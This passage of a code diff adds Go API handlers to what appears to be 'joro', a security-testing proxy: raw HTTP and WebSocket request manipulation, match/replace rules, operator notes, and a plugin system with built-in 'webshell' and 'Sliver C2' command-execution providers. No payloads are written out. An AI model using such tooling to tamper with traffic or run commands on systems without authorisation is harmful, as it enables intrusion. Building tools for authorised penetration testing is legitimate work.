Decompress *bool `json:"decompress,omitempty"` // unpack compressed responses
|
||||
}
|
||||
|
||||
func (s *APIServer) handleManipulateSend(w http.ResponseWriter, r *http.Request) {
|
||||
var req manipulateRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid raw base64")
|
||||
return
|
||||
}
|
||||
|
||||
if req.UpdateContentLength == nil || *req.UpdateContentLength {
|
||||
rawBytes = proxy.UpdateContentLength(rawBytes)
|
||||
}
|
||||
|
||||
opts := proxy.SendOptions{
|
||||
FollowRedirects: req.FollowRedirects != nil && *req.FollowRedirects,
|
||||
Decompress: req.Decompress == nil || *req.Decompress,
|
||||
}
|
||||
|
||||
result, err := proxy.SendRawRequest(r.Context(), rawBytes, req.Scheme, req.Host, opts, s.transport)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadGateway, fmt.Sprintf("sending request: %v", err))
|
||||
return
|
||||
}
|
||||
defer result.Response.Body.Close()
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"status": result.Response.StatusCode,
|
||||
"durationMs": result.Duration.Milliseconds(),
|
||||
"rawResp": base64.StdEncoding.EncodeToString(result.RawResp),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// manipulateWSConnectRequest is the body of POST /manipulate/ws/connect.
|
||||
type manipulateWSConnectRequest struct {
|
||||
Raw string `json:"raw"` // base64-encoded raw HTTP upgrade request
|
||||
Scheme string `json:"scheme"` // "ws" or "wss"
|
||||
Host string `json:"host"` // host[:port]
|
||||
}
|
||||
|
||||
// manipulateWSSendRequest is the body of POST /manipulate/ws/{id}/send.
|
||||
type manipulateWSSendRequest struct {
|
||||
Opcode string `json:"opcode"` // text|binary|ping|pong|close
|
||||
Payload string `json:"payload"` // base64-encoded
|
||||
}
|
||||
|
||||
func (s *APIServer) handleManipulateWSConnect(w http.ResponseWriter, r *http.Request) {
|
||||
if s.wsManipulate == nil {
|
||||
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
var req manipulateWSConnectRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid raw base64")
|
||||
return
|
||||
}
|
||||
|
||||
sessID := "" // filled in after Dial; callbacks capture via closure
|
||||
var sessRef *proxy.ManipulateWSSession
|
||||
|
||||
onFrame := func(direction string, opcode byte, payload []byte, ts time.Time) {
|
||||
if sessRef == nil {
|
||||
return
|
||||
}
|
||||
s.broadcastManipulateWSFrame(sessRef.ID, direction, opcode, payload, ts)
|
||||
}
|
||||
onClose := func(reason string) {
|
||||
if sessRef == nil {
|
||||
return
|
||||
}
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "manipulate.ws.closed",
|
||||
Data: map[string]any{
|
||||
"sessionId": sessRef.ID,
|
||||
"reason": reason,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
sess, rawResp, err := s.wsManipulate.Dial(rawBytes, req.Scheme, req.Host, onFrame, onClose)
|
||||
// Always return 200 so the client can inspect rawResp regardless of the
|
||||
// upgrade outcome. sessionId is empty on failure; error carries the reason.
|
||||
resp := map[string]any{
|
||||
"sessionId": "",
|
||||
"status": 0,
|
||||
"rawResp": base64.StdEncoding.EncodeToString(rawResp),
|
||||
"error": "",
|
||||
}
|
||||
if err != nil {
|
||||
resp["error"] = err.Error()
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
return
|
||||
}
|
||||
sessRef = sess
|
||||
sessID = sess.ID
|
||||
resp["sessionId"] = sessID
|
||||
resp["status"] = http.StatusSwitchingProtocols
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleManipulateWSSend(w http.ResponseWriter, r *http.Request) {
|
||||
if s.wsManipulate == nil {
|
||||
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
id := r.PathValue("id")
|
||||
if id == "" {
|
||||
writeError(w, http.StatusBadRequest, "missing session id")
|
||||
return
|
||||
}
|
||||
|
||||
var req manipulateWSSendRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
opcode, ok := proxy.OpcodeFromName(req.Opcode)
|
||||
if !ok {
|
||||
writeError(w, http.StatusBadRequest, "invalid opcode")
|
||||
return
|
||||
}
|
||||
|
||||
var payload []byte
|
||||
if req.Payload != "" {
|
||||
b, err := base64.StdEncoding.DecodeString(req.Payload)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid payload base64")
|
||||
return
|
||||
}
|
||||
payload = b
|
||||
}
|
||||
|
||||
if err := s.wsManipulate.Send(id, opcode, payload); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// If the user sent a close frame, also tear down the session.
|
||||
if opcode == 0x8 {
|
||||
s.wsManipulate.Close(id, "client closed")
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleManipulateWSDisconnect(w http.ResponseWriter, r *http.Request) {
|
||||
if s.wsManipulate == nil {
|
||||
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
id := r.PathValue("id")
|
||||
if id == "" {
|
||||
writeError(w, http.StatusBadRequest, "missing session id")
|
||||
return
|
||||
}
|
||||
|
||||
if s.wsManipulate.Get(id) == nil {
|
||||
writeJSON(w, http.StatusNotFound, map[string]any{"error": errors.New("no such session").Error()})
|
||||
return
|
||||
}
|
||||
|
||||
s.wsManipulate.Close(id, "client disconnected")
|
||||
writeJSON(w, http.StatusOK, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// broadcastManipulateWSFrame emits a manipulate.ws.frame event for one frame.
|
||||
// Binary payloads are carried as base64; text payloads are carried the same
|
||||
// way (isText is a display hint) so there's no encoding ambiguity on the wire.
|
||||
func (s *APIServer) broadcastManipulateWSFrame(sessID, direction string, opcode byte, payload []byte, ts time.Time) {
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "manipulate.ws.frame",
|
||||
Data: map[string]any{
|
||||
"sessionId": sessID,
|
||||
"direction": direction,
|
||||
"opcode": proxy.OpcodeName(opcode),
|
||||
"payload": base64.StdEncoding.EncodeToString(payload),
|
||||
"isText": opcode == 0x1,
|
||||
"size": len(payload),
|
||||
"ts": ts.UTC().Format(time.RFC3339Nano),
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetNoise(w http.ResponseWriter, r *http.Request) {
|
||||
patterns := s.noise.Patterns()
|
||||
if patterns == nil {
|
||||
patterns = []proxy.NoisePattern{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.noise.IsEnabled(),
|
||||
"patterns": patterns,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetNoiseEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.noise.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleAddNoisePattern(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Pattern string `json:"pattern"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Pattern == "" {
|
||||
writeError(w, http.StatusBadRequest, "pattern is required")
|
||||
return
|
||||
}
|
||||
p := s.noise.AddPattern(body.Pattern)
|
||||
writeJSON(w, http.StatusCreated, p)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteNoisePattern(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.noise.RemovePattern(id) {
|
||||
writeError(w, http.StatusNotFound, "pattern not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/notes"
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleListNoteHosts(w http.ResponseWriter, r *http.Request) {
|
||||
seen := make(map[string]struct{})
|
||||
|
||||
// Hosts from proxy request history.
|
||||
if s.store != nil {
|
||||
for _, h := range s.store.Hosts() {
|
||||
seen[h] = struct{}{}
|
||||
}
|
||||
}
|
||||
|
||||
// Hosts from notes DB.
|
||||
if s.noteStore != nil {
|
||||
dbHosts, err := s.noteStore.ListHosts()
|
||||
if err == nil {
|
||||
for _, h := range dbHosts {
|
||||
seen[h] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
hosts := make([]string, 0, len(seen))
|
||||
for h := range seen {
|
||||
hosts = append(hosts, h)
|
||||
}
|
||||
sort.Strings(hosts)
|
||||
|
||||
writeJSON(w, http.StatusOK, hosts)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListNotes(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.URL.Query().Get("host")
|
||||
if host == "" {
|
||||
writeError(w, http.StatusBadRequest, "host parameter required")
|
||||
return
|
||||
}
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
items, total, err := s.noteStore.ListNotes(host, offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []notes.Note{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCreateNote(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Host string `json:"host"`
|
||||
Content string `json:"content"`
|
||||
Author string `json:"author"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Host == "" || body.Content == "" {
|
||||
writeError(w, http.StatusBadRequest, "host and content are required")
|
||||
return
|
||||
}
|
||||
if body.Author == "" {
|
||||
body.Author = "operator"
|
||||
}
|
||||
|
||||
id, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
note, err := s.noteStore.CreateNote(id, body.Host, body.Content, body.Author)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, note)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteNote(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if err := s.noteStore.DeleteNote(id); err != nil {
|
||||
writeError(w, http.StatusNotFound, "note not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// handleListPlugins returns all loaded plugins with their status.
|
||||
func (s *APIServer) handleListPlugins(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pluginManager == nil {
|
||||
writeJSON(w, http.StatusOK, []any{})
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.pluginManager.List())
|
||||
}
|
||||
|
||||
// handleListExecProviders returns built-in execution providers plus any loaded
|
||||
// plugin providers, each with their config schema.
|
||||
func (s *APIServer) handleListExecProviders(w http.ResponseWriter, r *http.Request) {
|
||||
type providerInfo struct {
|
||||
Name string `json:"name"`
|
||||
Label string `json:"label"`
|
||||
ConfigSchema []sdk.ConfigField `json:"configSchema"`
|
||||
Builtin bool `json:"builtin"`
|
||||
}
|
||||
|
||||
providers := []providerInfo{
|
||||
{Name: "webshell", Label: "Web Shell", Builtin: true},
|
||||
{Name: "sliver", Label: "Sliver C2", Builtin: true},
|
||||
}
|
||||
|
||||
if s.pluginManager != nil {
|
||||
for name, ep := range s.pluginManager.ExecProviders() {
|
||||
schema := safeConfigSchema(name, ep)
|
||||
providers = append(providers, providerInfo{
|
||||
Name: name,
|
||||
Label: ep.Manifest().Description,
|
||||
ConfigSchema: schema,
|
||||
Builtin: false,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, providers)
|
||||
}
|
||||
|
||||
// handlePluginGraph aggregates network graph data from all connected
|
||||
// ExecProviders that implement GraphProvider.
|
||||
func (s *APIServer) handlePluginGraph(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pluginManager == nil {
|
||||
writeJSON(w, http.StatusOK, map[string]any{})
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 5*time.Second)
|
||||
defer cancel()
|
||||
writeJSON(w, http.StatusOK, s.pluginManager.GraphData(ctx))
|
||||
}
|
||||
|
||||
// makeExtStatusHandler returns a handler for GET /api/v1/plugin/{name}/status.
|
||||
func (s *APIServer) makeExtStatusHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ep := s.pluginManager.ExecProviders()[name]
|
||||
if ep == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
status := safeStatus(name, ep, r.Context())
|
||||
writeJSON(w, http.StatusOK, status)
|
||||
}
|
||||
}
|
||||
|
||||
// makeExtConnectHandler returns a handler for POST /api/v1/plugin/{name}/connect.
|
||||
func (s *APIServer) makeExtConnectHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ep := s.pluginManager.ExecProviders()[name]
|
||||
if ep == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
|
||||
var config map[string]string
|
||||
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON body")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if err := safeConnect(name, ep, ctx, config); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"connected": true})
|
||||
}
|
||||
}
|
||||
|
||||
// makeExtDisconnectHandler returns a handler for POST /api/v1/plugin/{name}/disconnect.
|
||||
func (s *APIServer) makeExtDisconnectHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ep := s.pluginManager.ExecProviders()[name]
|
||||
if ep == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if err := safeDisconnect(name, ep, ctx); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"connected": false})
|
||||
}
|
||||
}
|
||||
|
||||
// makeExtCommandHandler returns a handler for POST /api/v1/plugin/{name}/command.
|
||||
func (s *APIServer) makeExtCommandHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ep := s.pluginManager.ExecProviders()[name]
|
||||
if ep == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
|
||||
var body struct {
|
||||
Input string `json:"input"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON body")
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(body.Input) == "" {
|
||||
writeError(w, http.StatusBadRequest, "input is required")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)
|
||||
defer cancel()
|
||||
|
||||
result := safeCommand(name, ep, ctx, body.Input)
|
||||
writeJSON(w, http.StatusOK, result)
|
||||
}
|
||||
}
|
||||
|
||||
// handleUploadPlugin accepts a multipart .so/.dylib file upload and saves it
|
||||
// to the plugins directory. A restart is required to load the new plugin.
|
||||
func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pluginManager == nil {
|
||||
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
|
||||
return
|
||||
}
|
||||
|
||||
// 32 MB max upload.
|
||||
if err := r.ParseMultipartForm(32 << 20); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid multipart form")
|
||||
return
|
||||
}
|
||||
|
||||
file, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "missing file field")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
filename := filepath.Base(header.Filename)
|
||||
if !strings.HasSuffix(filename, ".so") && !strings.HasSuffix(filename, ".dylib") {
|
||||
writeError(w, http.StatusBadRequest, "file must be a .so or .dylib")
|
||||
return
|
||||
}
|
||||
|
||||
dest := filepath.Join(s.pluginManager.PluginDir(), filename)
|
||||
|
||||
// Prevent symlink attacks: if the destination exists and is a symlink,
|
||||
// refuse the upload rather than following it to an arbitrary path.
|
||||
if info, err := os.Lstat(dest); err == nil {
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
writeError(w, http.StatusBadRequest, "destination is a symlink")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Write with restrictive permissions (owner-only).
|
||||
out, err := os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("create file: %v", err))
|
||||
return
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
if _, err := io.Copy(out, file); err != nil {
|
||||
os.Remove(dest)
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("write file: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"filename": filename,
|
||||
"message": "plugin uploaded — restart Joro to load it",
|
||||
})
|
||||
}
|
||||
|
||||
// handleDeletePlugin removes a plugin file from the plugins directory.
|
||||
// A restart is required for the change to take effect.
|
||||
func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pluginManager == nil {
|
||||
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
|
||||
return
|
||||
}
|
||||
|
||||
filename := r.PathValue("filename")
|
||||
if filename == "" {
|
||||
writeError(w, http.StatusBadRequest, "filename is required")
|
||||
return
|
||||
}
|
||||
|
||||
// Sanitize: only allow base filenames, no path traversal.
|
||||
filename = filepath.Base(filename)
|
||||
if !strings.HasSuffix(filename, ".so") && !strings.HasSuffix(filename, ".dylib") {
|
||||
writeError(w, http.StatusBadRequest, "invalid plugin filename")
|
||||
return
|
||||
}
|
||||
|
||||
path := filepath.Join(s.pluginManager.PluginDir(), filename)
|
||||
|
||||
// Refuse to delete through a symlink.
|
||||
if info, err := os.Lstat(path); err == nil {
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
writeError(w, http.StatusBadRequest, "target is a symlink")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.Remove(path); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
writeError(w, http.StatusNotFound, "plugin file not found")
|
||||
} else {
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("remove file: %v", err))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"filename": filename,
|
||||
"message": "plugin removed — restart Joro to apply",
|
||||
})
|
||||
}
|
||||
|
||||
// registerPluginRoutes registers all dynamic routes for loaded plugins.
|
||||
// Called from registerRoutes() after the static route block.
|
||||
func registerPluginRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
if s.pluginManager == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Plugin listing, upload, delete, graph.
|
||||
mux.HandleFunc("GET /api/v1/plugins", s.handleListPlugins)
|
||||
mux.HandleFunc("POST /api/v1/plugins/upload", s.handleUploadPlugin)
|
||||
mux.HandleFunc("DELETE /api/v1/plugins/{filename}", s.handleDeletePlugin)
|
||||
mux.HandleFunc("GET /api/v1/plugins/exec-providers", s.handleListExecProviders)
|
||||
mux.HandleFunc("GET /api/v1/plugins/interact-providers", s.handleListInteractProviders)
|
||||
mux.HandleFunc("GET /api/v1/plugins/graph", s.handlePluginGraph)
|
||||
|
||||
// Per exec provider routes.
|
||||
for name := range s.pluginManager.ExecProviders() {
|
||||
p := "/api/v1/plugin/" + name
|
||||
mux.HandleFunc("GET "+p+"/status", s.makeExtStatusHandler(name))
|
||||
mux.HandleFunc("POST "+p+"/connect", s.makeExtConnectHandler(name))
|
||||
mux.HandleFunc("POST "+p+"/disconnect", s.makeExtDisconnectHandler(name))
|
||||
mux.HandleFunc("POST "+p+"/command", s.makeExtCommandHandler(name))
|
||||
}
|
||||
|
||||
// Per interact provider routes.
|
||||
for name := range s.pluginManager.InteractProviders() {
|
||||
p := "/api/v1/plugin/" + name + "/interact"
|
||||
mux.HandleFunc("GET "+p+"/instances", s.makeInteractListInstancesHandler(name))
|
||||
mux.HandleFunc("POST "+p+"/instances", s.makeInteractCreateInstanceHandler(name))
|
||||
mux.HandleFunc("DELETE "+p+"/instances/{id}", s.makeInteractDeleteInstanceHandler(name))
|
||||
mux.HandleFunc("PUT "+p+"/instances/{id}/enabled", s.makeInteractSetEnabledHandler(name))
|
||||
mux.HandleFunc("GET "+p+"/interactions", s.makeInteractListInteractionsHandler(name))
|
||||
mux.HandleFunc("DELETE "+p+"/interactions", s.makeInteractClearInteractionsHandler(name))
|
||||
}
|
||||
|
||||
// Tab + feature routes and UI assets.
|
||||
for name, tab := range s.pluginManager.TabProviders() {
|
||||
registerTabExtRoutes(mux, name, tab)
|
||||
}
|
||||
for name, feat := range s.pluginManager.Features() {
|
||||
registerTabExtRoutes(mux, name, feat)
|
||||
}
|
||||
|
||||
// Dashboard plugin routes + UI.
|
||||
if dash := s.pluginManager.Dashboard(); dash != nil {
|
||||
dname := dash.Manifest().Name
|
||||
for _, route := range dash.Routes() {
|
||||
pattern := route.Method + " /api/v1/plugin/" + dname + route.Pattern
|
||||
mux.HandleFunc(pattern, route.Handler)
|
||||
}
|
||||
if assets := dash.UIAssets(); assets != nil {
|
||||
prefix := "/plugin/" + dname + "/"
|
||||
mux.Handle(prefix, http.StripPrefix(prefix, http.FileServer(http.FS(assets))))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// registerTabExtRoutes registers a TabProvider's API routes and UI assets.
|
||||
func registerTabExtRoutes(mux *http.ServeMux, name string, tab sdk.TabProvider) {
|
||||
for _, route := range tab.Routes() {
|
||||
pattern := route.Method + " /api/v1/plugin/" + name + route.Pattern
|
||||
mux.HandleFunc(pattern, route.Handler)
|
||||
}
|
||||
if assets := tab.UIAssets(); assets != nil {
|
||||
sub, err := fs.Sub(assets, ".")
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: UI assets error: %v", name, err)
|
||||
return
|
||||
}
|
||||
prefix := "/plugin/" + name + "/"
|
||||
mux.Handle(prefix, http.StripPrefix(prefix, http.FileServer(http.FS(sub))))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Panic-safe wrappers for ExecProvider methods
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func safeConfigSchema(name string, ep sdk.ExecProvider) (schema []sdk.ConfigField) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugins] %s: ConfigSchema panic: %v", name, r)
|
||||
schema = nil
|
||||
}
|
||||
}()
|
||||
return ep.ConfigSchema()
|
||||
}
|
||||
|
||||
func safeStatus(name string, ep sdk.ExecProvider, ctx context.Context) (status sdk.ProviderStatus) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugins] %s: Status panic: %v", name, r)
|
||||
status = sdk.ProviderStatus{}
|
||||
}
|
||||
}()
|
||||
return ep.Status(ctx)
|
||||
}
|
||||
|
||||
func safeConnect(name string, ep sdk.ExecProvider, ctx context.Context, config map[string]string) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: Connect panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ep.Connect(ctx, config)
|
||||
}
|
||||
|
||||
func safeDisconnect(name string, ep sdk.ExecProvider, ctx context.Context) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: Disconnect panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ep.Disconnect(ctx)
|
||||
}
|
||||
|
||||
func safeCommand(name string, ep sdk.ExecProvider, ctx context.Context, input string) (result sdk.CommandResult) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
result = sdk.CommandResult{Error: fmt.Sprintf("plugin panic: %v", r)}
|
||||
log.Printf("[plugins] %s: Command panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ep.Command(ctx, input)
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetReplace(w http.ResponseWriter, r *http.Request) {
|
||||
rules := s.replace.Rules()
|
||||
if rules == nil {
|
||||
rules = []proxy.MatchReplaceRule{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.replace.IsEnabled(),
|
||||
"rules": rules,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetReplaceEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.replace.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Target string `json:"target"`
|
||||
MatchType string `json:"matchType"`
|
||||
Match string `json:"match"`
|
||||
Replace string `json:"replace"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Target == "" || body.Match == "" {
|
||||
writeError(w, http.StatusBadRequest, "target and match are required")
|
||||
return
|
||||
}
|
||||
valid := map[string]bool{
|
||||
"request_header": true, "request_body": true,
|
||||
"response_header": true, "response_body": true,
|
||||
"ws_message": true,
|
||||
}
|
||||
if !valid[body.Target] {
|
||||
writeError(w, http.StatusBadRequest, "invalid target")
|
||||
return
|
||||
}
|
||||
if body.MatchType == "" {
|
||||
body.MatchType = "string"
|
||||
}
|
||||
rule := s.replace.AddRule(body.Target, body.MatchType, body.Match, body.Replace)
|
||||
writeJSON(w, http.StatusCreated, rule)
|
||||
}
|
||||
|
||||
